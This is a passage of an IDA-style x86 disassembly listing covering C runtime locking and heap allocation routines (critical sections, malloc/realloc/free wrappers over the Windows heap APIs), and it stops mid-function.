mov ecx, [ebp+var_4]
cmp dword_4513D0[ecx*4], 0
jz short loc_41FB07
cmp [ebp+var_4], 11h
jz short loc_41FB07
cmp [ebp+var_4], 0Dh
jz short loc_41FB07
cmp [ebp+var_4], 9
jz short loc_41FB07
cmp [ebp+var_4], 1
jz short loc_41FB07
mov edx, [ebp+var_4]
mov eax, dword_4513D0[edx*4]
push eax
call dword_4F1398 ; RtlDeleteCriticalSection
push 2
mov ecx, [ebp+var_4]
mov edx, dword_4513D0[ecx*4]
push edx
call sub_419980
add esp, 8
loc_41FB07: ; CODE XREF: sub_41FAA0+27j
; sub_41FAA0+2Dj ...
jmp short loc_41FAAD
; ---------------------------------------------------------------------------
loc_41FB09: ; CODE XREF: sub_41FAA0+1Aj
mov eax, off_4513F4
push eax
call dword_4F1398 ; RtlDeleteCriticalSection
mov ecx, off_451404
push ecx
call dword_4F1398 ; RtlDeleteCriticalSection
mov edx, off_451414
push edx
call dword_4F1398 ; RtlDeleteCriticalSection
mov eax, off_4513D4
push eax
call dword_4F1398 ; RtlDeleteCriticalSection
mov esp, ebp
pop ebp
retn
sub_41FAA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FB40 proc near ; CODE XREF: sub_418F40+6p
; sub_419380+6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp dword_4513D0[eax*4], 0
jnz short loc_41FBC2
push 0E1h
push offset aMlock_c ; "mlock.c"
push 2
push 18h
call sub_418EF0
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41FB7A
push 11h
call sub_41EB30
add esp, 4
loc_41FB7A: ; CODE XREF: sub_41FB40+2Ej
push 11h
call sub_41FB40
add esp, 4
mov ecx, [ebp+arg_0]
cmp dword_4513D0[ecx*4], 0
jnz short loc_41FBAA
mov edx, [ebp+var_4]
push edx
call dword_4F1470 ; InitializeCriticalSection
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dword_4513D0[eax*4], ecx
jmp short loc_41FBB8
; ---------------------------------------------------------------------------
loc_41FBAA: ; CODE XREF: sub_41FB40+4Fj
push 2
mov edx, [ebp+var_4]
push edx
call sub_419980
add esp, 8
loc_41FBB8: ; CODE XREF: sub_41FB40+68j
push 11h
call sub_41FBE0
add esp, 4
loc_41FBC2: ; CODE XREF: sub_41FB40+Fj
mov eax, [ebp+arg_0]
mov ecx, dword_4513D0[eax*4]
push ecx
call dword_4F1390 ; RtlEnterCriticalSection
mov esp, ebp
pop ebp
retn
sub_41FB40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBE0 proc near ; CODE XREF: sub_418F40+2Bp
; sub_419380+31p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, dword_4513D0[eax*4]
push ecx
call dword_4F138C ; RtlLeaveCriticalSection
pop ebp
retn
sub_41FBE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
push 0
call dword_4F1474 ; FatalAppExitA
push 0FFh
call dword_4F1320 ; ExitProcess
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FC20 proc near ; CODE XREF: sub_41FDD0+10p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, dword_4EF8F4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41FC40
add esp, 8
pop ebp
retn
sub_41FC20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FC40 proc near ; CODE XREF: sub_41FC20+Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFFFE0h
jbe short loc_41FC4E
xor eax, eax
jmp short loc_41FC93
; ---------------------------------------------------------------------------
loc_41FC4E: ; CODE XREF: sub_41FC40+8j
; sub_41FC40:loc_41FC91j
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_41FC65
mov eax, [ebp+arg_0]
push eax
call sub_41FCA0
add esp, 4
mov [ebp+var_4], eax
jmp short loc_41FC6C
; ---------------------------------------------------------------------------
loc_41FC65: ; CODE XREF: sub_41FC40+12j
mov [ebp+var_4], 0
loc_41FC6C: ; CODE XREF: sub_41FC40+23j
cmp [ebp+var_4], 0
jnz short loc_41FC78
cmp [ebp+arg_4], 0
jnz short loc_41FC7D
loc_41FC78: ; CODE XREF: sub_41FC40+30j
mov eax, [ebp+var_4]
jmp short loc_41FC93
; ---------------------------------------------------------------------------
loc_41FC7D: ; CODE XREF: sub_41FC40+36j
mov ecx, [ebp+arg_0]
push ecx
call sub_41FA30
add esp, 4
test eax, eax
jnz short loc_41FC91
xor eax, eax
jmp short loc_41FC93
; ---------------------------------------------------------------------------
loc_41FC91: ; CODE XREF: sub_41FC40+4Bj
jmp short loc_41FC4E
; ---------------------------------------------------------------------------
loc_41FC93: ; CODE XREF: sub_41FC40+Cj
; sub_41FC40+3Bj ...
mov esp, ebp
pop ebp
retn
sub_41FC40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FCA0 proc near ; CODE XREF: sub_418FC0+19Dp
; sub_41FC40+18p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_451498
ja short loc_41FCDD
push 9
call sub_41FB40
add esp, 4
mov ecx, [ebp+arg_0]
push ecx
call sub_4208D0
add esp, 4
mov [ebp+var_4], eax
push 9
call sub_41FBE0
add esp, 4
cmp [ebp+var_4], 0
jz short loc_41FCDD
mov eax, [ebp+var_4]
jmp short loc_41FD09
; ---------------------------------------------------------------------------
loc_41FCDD: ; CODE XREF: sub_41FCA0+Dj
; sub_41FCA0+36j
cmp [ebp+arg_0], 0
jnz short loc_41FCEA
mov [ebp+arg_0], 1
loc_41FCEA: ; CODE XREF: sub_41FCA0+41j
mov edx, [ebp+arg_0]
add edx, 0Fh
and edx, 0FFFFFFF0h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, dword_4EFF80
push ecx
call dword_4F1478 ; RtlAllocateHeap
loc_41FD09: ; CODE XREF: sub_41FCA0+3Bj
mov esp, ebp
pop ebp
retn
sub_41FCA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD10 proc near ; CODE XREF: sub_418FC0+79p
; sub_4193C0+C1p ...
push ebp
mov ebp, esp
mov eax, 1
pop ebp
retn
sub_41FD10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD20 proc near ; CODE XREF: sub_4193C0+2D4p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_4], 0FFFFFFE0h
jbe short loc_41FD33
xor eax, eax
jmp loc_41FDC9
; ---------------------------------------------------------------------------
loc_41FD33: ; CODE XREF: sub_41FD20+Aj
push 9
call sub_41FB40
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_420240
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41FD91
mov [ebp+var_4], 0
mov ecx, [ebp+arg_4]
cmp ecx, dword_451498
ja short loc_41FD82
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_421110
add esp, 0Ch
test eax, eax
jz short loc_41FD82
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
loc_41FD82: ; CODE XREF: sub_41FD20+42j
; sub_41FD20+5Aj
push 9
call sub_41FBE0
add esp, 4
mov eax, [ebp+var_4]
jmp short loc_41FDC9
; ---------------------------------------------------------------------------
loc_41FD91: ; CODE XREF: sub_41FD20+30j
push 9
call sub_41FBE0
add esp, 4
cmp [ebp+arg_4], 0
jnz short loc_41FDA8
mov [ebp+arg_4], 1
loc_41FDA8: ; CODE XREF: sub_41FD20+7Fj
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 10h
mov eax, dword_4EFF80
push eax
call dword_4F147C ; RtlReAllocateHeap
loc_41FDC9: ; CODE XREF: sub_41FD20+Ej
; sub_41FD20+6Fj
mov esp, ebp
pop ebp
retn
sub_41FD20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDD0 proc near ; CODE XREF: sub_4193C0+2AFp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_0], 0
jnz short loc_41FDED
mov eax, [ebp+arg_4]
push eax
call sub_41FC20
add esp, 4
jmp loc_41FFB6
; ---------------------------------------------------------------------------
loc_41FDED: ; CODE XREF: sub_41FDD0+Aj
cmp [ebp+arg_4], 0
jnz short loc_41FE06
mov ecx, [ebp+arg_0]
push ecx
call sub_41FFC0
add esp, 4
xor eax, eax
jmp loc_41FFB6
; ---------------------------------------------------------------------------
loc_41FE06: ; CODE XREF: sub_41FDD0+21j
; sub_41FDD0:loc_41FFB1j
mov [ebp+var_8], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja loc_41FF89
push 9
call sub_41FB40
add esp, 4
mov edx, [ebp+arg_0]
push edx
call sub_420240
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz loc_41FF4C
mov eax, [ebp+arg_4]
cmp eax, dword_451498
ja short loc_41FEC0
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_C]
push eax
call sub_421110
add esp, 0Ch
test eax, eax
jz short loc_41FE65
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
jmp short loc_41FEC0
; ---------------------------------------------------------------------------
loc_41FE65: ; CODE XREF: sub_41FDD0+8Bj
mov edx, [ebp+arg_4]
push edx
call sub_4208D0
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41FEC0
mov eax, [ebp+arg_0]
mov ecx, [eax-4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_4]
jnb short loc_41FE96
mov eax, [ebp+var_4]
mov [ebp+var_10], eax
jmp short loc_41FE9C
; ---------------------------------------------------------------------------
loc_41FE96: ; CODE XREF: sub_41FDD0+BCj
mov ecx, [ebp+arg_4]
mov [ebp+var_10], ecx
loc_41FE9C: ; CODE XREF: sub_41FDD0+C4j
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_8]
push ecx
call near ptr sub_41C8D0
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_C]
push eax
call sub_420300
add esp, 8
loc_41FEC0: ; CODE XREF: sub_41FDD0+73j
; sub_41FDD0+93j ...
cmp [ebp+var_8], 0
jnz short loc_41FF40
cmp [ebp+arg_4], 0
jnz short loc_41FED3
mov [ebp+arg_4], 1
loc_41FED3: ; CODE XREF: sub_41FDD0+FAj
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
push edx
push 0
mov eax, dword_4EFF80
push eax
call dword_4F1478 ; RtlAllocateHeap
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41FF40
mov ecx, [ebp+arg_0]
mov edx, [ecx-4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jnb short loc_41FF16
mov ecx, [ebp+var_4]
mov [ebp+var_14], ecx
jmp short loc_41FF1C
; ---------------------------------------------------------------------------
loc_41FF16: ; CODE XREF: sub_41FDD0+13Cj
mov edx, [ebp+arg_4]
mov [ebp+var_14], edx
loc_41FF1C: ; CODE XREF: sub_41FDD0+144j
mov eax, [ebp+var_14]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_8]
push edx
call near ptr sub_41C8D0
add esp, 0Ch
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_420300
add esp, 8
loc_41FF40: ; CODE XREF: sub_41FDD0+F4j
; sub_41FDD0+128j
push 9
call sub_41FBE0
add esp, 4
jmp short loc_41FF89
; ---------------------------------------------------------------------------
loc_41FF4C: ; CODE XREF: sub_41FDD0+64j
push 9
call sub_41FBE0
add esp, 4
cmp [ebp+arg_4], 0
jnz short loc_41FF63
mov [ebp+arg_4], 1
loc_41FF63: ; CODE XREF: sub_41FDD0+18Aj
mov edx, [ebp+arg_4]
add edx, 0Fh
and edx, 0FFFFFFF0h
mov [ebp+arg_4], edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 0
mov edx, dword_4EFF80
push edx
call dword_4F147C ; RtlReAllocateHeap
mov [ebp+var_8], eax
loc_41FF89: ; CODE XREF: sub_41FDD0+41j
; sub_41FDD0+17Aj
cmp [ebp+var_8], 0
jnz short loc_41FF98
cmp dword_4EF8F4, 0
jnz short loc_41FF9D
loc_41FF98: ; CODE XREF: sub_41FDD0+1BDj
mov eax, [ebp+var_8]
jmp short loc_41FFB6
; ---------------------------------------------------------------------------
loc_41FF9D: ; CODE XREF: sub_41FDD0+1C6j
mov eax, [ebp+arg_4]
push eax
call sub_41FA30
add esp, 4
test eax, eax
jnz short loc_41FFB1
xor eax, eax
jmp short loc_41FFB6
; ---------------------------------------------------------------------------
loc_41FFB1: ; CODE XREF: sub_41FDD0+1DBj
jmp loc_41FE06
; ---------------------------------------------------------------------------
loc_41FFB6: ; CODE XREF: sub_41FDD0+18j
; sub_41FDD0+31j ...
mov esp, ebp
pop ebp
retn
sub_41FDD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FFC0 proc near ; CODE XREF: sub_4199B0+26Ep
; sub_4199B0+3B2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_41FFCC
jmp short loc_420024
; ---------------------------------------------------------------------------
loc_41FFCC: ; CODE XREF: sub_41FFC0+8j
push 9
call sub_41FB40
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_420240
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_420007
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_420300
add esp, 8
push 9
call sub_41FBE0
add esp, 4
jmp short loc_420024
; ---------------------------------------------------------------------------
loc_420007: ; CODE XREF: sub_41FFC0+29j
push 9
call sub_41FBE0
add esp, 4
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, dword_4EFF80
push ecx
call dword_4F1480 ; RtlFreeHeap
loc_420024: ; CODE XREF: sub_41FFC0+Aj
; sub_41FFC0+45j
mov esp, ebp
pop ebp
retn
sub_41FFC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420030 proc near ; CODE XREF: sub_41A090+30p
; .nsp0:004200B3p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0FFFFFFFEh
push 9
call sub_41FB40
add esp, 4
call sub_421830
test eax, eax
jge short loc_420055
mov [ebp+var_4], 0FFFFFFFCh
loc_420055: ; CODE XREF: sub_420030+1Cj
push 9
call sub_41FBE0
add esp, 4
push 0
push 0
mov eax, dword_4EFF80
push eax
call dword_4F1440 ; HeapValidate
test eax, eax
jnz short loc_42009D
call dword_4F1348 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_420096
call sub_4248B0
mov dword ptr [eax], 78h
call sub_4248A0
mov dword ptr [eax], 28h
jmp short loc_42009D
; ---------------------------------------------------------------------------
loc_420096: ; CODE XREF: sub_420030+4Cj
mov [ebp+var_4], 0FFFFFFFCh
loc_42009D: ; CODE XREF: sub_420030+41j
; sub_420030+64j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_420030 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_420030
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4200C0 proc near ; CODE XREF: .nsp0:0041EA3Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1000h
xor eax, eax
cmp [ebp+arg_0], 0
setz al
push eax
call dword_4F1488 ; HeapCreate
mov dword_4EFF80, eax
cmp dword_4EFF80, 0
jnz short loc_4200EC
xor eax, eax
jmp short loc_42010B
; ---------------------------------------------------------------------------
loc_4200EC: ; CODE XREF: sub_4200C0+26j
call sub_4201E0
test eax, eax
jnz short loc_420106
mov ecx, dword_4EFF80
push ecx
call dword_4F1484 ; HeapDestroy
xor eax, eax
jmp short loc_42010B
; ---------------------------------------------------------------------------
loc_420106: ; CODE XREF: sub_4200C0+33j
mov eax, 1
loc_42010B: ; CODE XREF: sub_4200C0+2Aj
; sub_4200C0+44j
pop ebp
retn
sub_4200C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword_4EFF7C
mov [ebp-8], eax
mov dword ptr [ebp-4], 0
jmp short loc_420130
; ---------------------------------------------------------------------------
loc_420127: ; CODE XREF: .nsp0:00420184j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_420130: ; CODE XREF: .nsp0:00420125j
mov edx, [ebp-4]
cmp edx, dword_4EFF78
jge short loc_420186
push 4000h
push 100000h
mov eax, [ebp-8]
mov ecx, [eax+0Ch]
push ecx
call dword_4F148C ; VirtualFree
push 8000h
push 0
mov edx, [ebp-8]
mov eax, [edx+0Ch]
push eax
call dword_4F148C ; VirtualFree
mov ecx, [ebp-8]
mov edx, [ecx+10h]
push edx
push 0
mov eax, dword_4EFF80
push eax
call dword_4F1480 ; RtlFreeHeap
mov ecx, [ebp-8]
add ecx, 14h
mov [ebp-8], ecx
jmp short loc_420127
; ---------------------------------------------------------------------------
loc_420186: ; CODE XREF: .nsp0:00420139j
mov edx, dword_4EFF7C
push edx
push 0
mov eax, dword_4EFF80
push eax
call dword_4F1480 ; RtlFreeHeap
mov ecx, dword_4EFF80
push ecx
call dword_4F1484 ; HeapDestroy
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, dword_451498
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 3F8h
jbe short loc_4201D0
xor eax, eax
jmp short loc_4201DD
; ---------------------------------------------------------------------------
loc_4201D0: ; CODE XREF: .nsp0:004201CAj
mov eax, [ebp+8]
mov dword_451498, eax
mov eax, 1
loc_4201DD: ; CODE XREF: .nsp0:004201CEj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4201E0 proc near ; CODE XREF: sub_4200C0:loc_4200ECp
push ebp
mov ebp, esp
push 140h
push 0
mov eax, dword_4EFF80
push eax
call dword_4F1478 ; RtlAllocateHeap
mov dword_4EFF7C, eax
cmp dword_4EFF7C, 0
jnz short loc_420208
xor eax, eax
jmp short loc_420237
; ---------------------------------------------------------------------------
loc_420208: ; CODE XREF: sub_4201E0+22j
mov ecx, dword_4EFF7C
mov dword_4EFF70, ecx
mov dword_4EFF74, 0
mov dword_4EFF78, 0
mov dword_4EFF68, 10h
mov eax, 1
loc_420237: ; CODE XREF: sub_4201E0+26j
pop ebp
retn
sub_4201E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420240 proc near ; CODE XREF: sub_41A4F0+30p
; sub_41FD20+21p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_4EFF78
imul eax, 14h
mov ecx, dword_4EFF7C
add ecx, eax
mov [ebp+var_C], ecx
mov edx, dword_4EFF7C
mov [ebp+var_8], edx
loc_420262: ; CODE XREF: sub_420240+4Dj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_42028F
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
sub edx, [ecx+0Ch]
mov [ebp+var_4], edx
cmp [ebp+var_4], 100000h
jnb short loc_420284
mov eax, [ebp+var_8]
jmp short loc_420291
; ---------------------------------------------------------------------------
loc_420284: ; CODE XREF: sub_420240+3Dj
mov eax, [ebp+var_8]
add eax, 14h
mov [ebp+var_8], eax
jmp short loc_420262
; ---------------------------------------------------------------------------
loc_42028F: ; CODE XREF: sub_420240+28j
xor eax, eax
loc_420291: ; CODE XREF: sub_420240+42j
mov esp, ebp
pop ebp
retn
sub_420240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4202A0 proc near ; CODE XREF: sub_41A4F0+4Cp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, 80000000h
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, eax
test edx, edx
jnz short loc_4202F1
mov eax, [ebp+var_8]
and eax, 0Fh
test eax, eax
jnz short loc_4202F1
mov ecx, [ebp+var_8]
and ecx, 0FFFh
test ecx, ecx
jz short loc_4202F1
mov [ebp+var_C], 1
jmp short loc_4202F8
; ---------------------------------------------------------------------------
loc_4202F1: ; CODE XREF: sub_4202A0+2Fj
; sub_4202A0+39j ...
mov [ebp+var_C], 0
loc_4202F8: ; CODE XREF: sub_4202A0+4Fj
mov eax, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_4202A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420300 proc near ; CODE XREF: sub_41FDD0+E8p
; sub_41FDD0+168p ...
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_3C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
sub eax, [edx+0Ch]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
shr ecx, 0Fh
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
imul edx, 204h
mov eax, [ebp+var_3C]
lea ecx, [eax+edx+144h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
sub edx, 4
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
sub ecx, 1
mov [ebp+var_30], ecx
mov edx, [ebp+var_1C]
add edx, [ebp+var_30]
mov [ebp+var_38], edx
mov eax, [ebp+var_38]
mov ecx, [eax]
mov [ebp+var_14], ecx
mov edx, [ebp+var_1C]
mov eax, [edx-4]
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
and ecx, 1
test ecx, ecx
jnz loc_420498
mov edx, [ebp+var_14]
sar edx, 4
sub edx, 1
mov [ebp+var_24], edx
cmp [ebp+var_24], 3Fh
jbe short loc_42038F
mov [ebp+var_24], 3Fh
loc_42038F: ; CODE XREF: sub_420300+86j
mov eax, [ebp+var_38]
mov ecx, [ebp+var_38]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_420471
cmp [ebp+var_24], 20h
jnb short loc_420406
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+44h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+44h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_420404
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
loc_420404: ; CODE XREF: sub_420300+EAj
jmp short loc_420471
; ---------------------------------------------------------------------------
loc_420406: ; CODE XREF: sub_420300+A5j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+0C4h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+0C4h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_24]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_420471
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_420471: ; CODE XREF: sub_420300+9Bj
; sub_420300:loc_420404j ...
mov eax, [ebp+var_38]
mov ecx, [eax+8]
mov edx, [ebp+var_38]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+var_38]
mov edx, [ecx+4]
mov eax, [ebp+var_38]
mov ecx, [eax+8]
mov [edx+8], ecx
mov edx, [ebp+var_30]
add edx, [ebp+var_14]
mov [ebp+var_30], edx
loc_420498: ; CODE XREF: sub_420300+70j
mov eax, [ebp+var_30]
sar eax, 4
sub eax, 1
mov [ebp+var_28], eax
cmp [ebp+var_28], 3Fh
jbe short loc_4204B1
mov [ebp+var_28], 3Fh
loc_4204B1: ; CODE XREF: sub_420300+1A8j
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jnz loc_420615
mov edx, [ebp+var_1C]
sub edx, [ebp+var_C]
mov [ebp+var_34], edx
mov eax, [ebp+var_C]
sar eax, 4
sub eax, 1
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 3Fh
jbe short loc_4204E1
mov [ebp+var_2C], 3Fh
loc_4204E1: ; CODE XREF: sub_420300+1D8j
mov ecx, [ebp+var_30]
add ecx, [ebp+var_C]
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
sar edx, 4
sub edx, 1
mov [ebp+var_28], edx
cmp [ebp+var_28], 3Fh
jbe short loc_420503
mov [ebp+var_28], 3Fh
loc_420503: ; CODE XREF: sub_420300+1FAj
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz loc_42060F
mov ecx, [ebp+var_34]
mov edx, [ebp+var_34]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_4205F1
cmp [ebp+var_2C], 20h
jnb short loc_420586
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_2C]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_420584
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_420584: ; CODE XREF: sub_420300+26Aj
jmp short loc_4205F1
; ---------------------------------------------------------------------------
loc_420586: ; CODE XREF: sub_420300+225j
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
